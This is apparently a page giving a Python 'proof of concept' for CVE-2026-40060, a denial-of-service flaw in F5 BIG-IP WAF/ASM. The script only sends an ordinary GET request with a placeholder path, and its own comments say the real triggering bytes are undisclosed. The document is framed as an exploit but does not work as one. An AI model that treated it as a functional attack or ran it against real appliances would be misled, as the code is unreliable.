CVE-2026-40060 F5 BIG-IP WAF/ASM拒绝服务漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-40060 (F5 BIG-IP DoS) Note: The specific payload is undisclosed. This script demonstrates how one would send a request to the target to test for the vulnerability. Use only for authorized testing purposes. """ import socket import sys def send_exploit(target_ip, target_port=80): # Placeholder for the undisclosed malicious request # Actual exploit requires specific bytes that trigger the bd process crash payload = b"GET / undisclosed_request_path HTTP/1.1\r\n" payload += b"Host: " + target_ip.encode() + b"\r\n" payload += b"Connection: close\r\n\r\n" try: print(f"[*] Sending payload to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) s.sendall(payload) response = s.recv(1024) s.close() print("[+] Payload sent. Check if the bd process has terminated.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve_2026_40060_poc.py <target_ip>") sys.exit(1) send_exploit(sys.argv[1])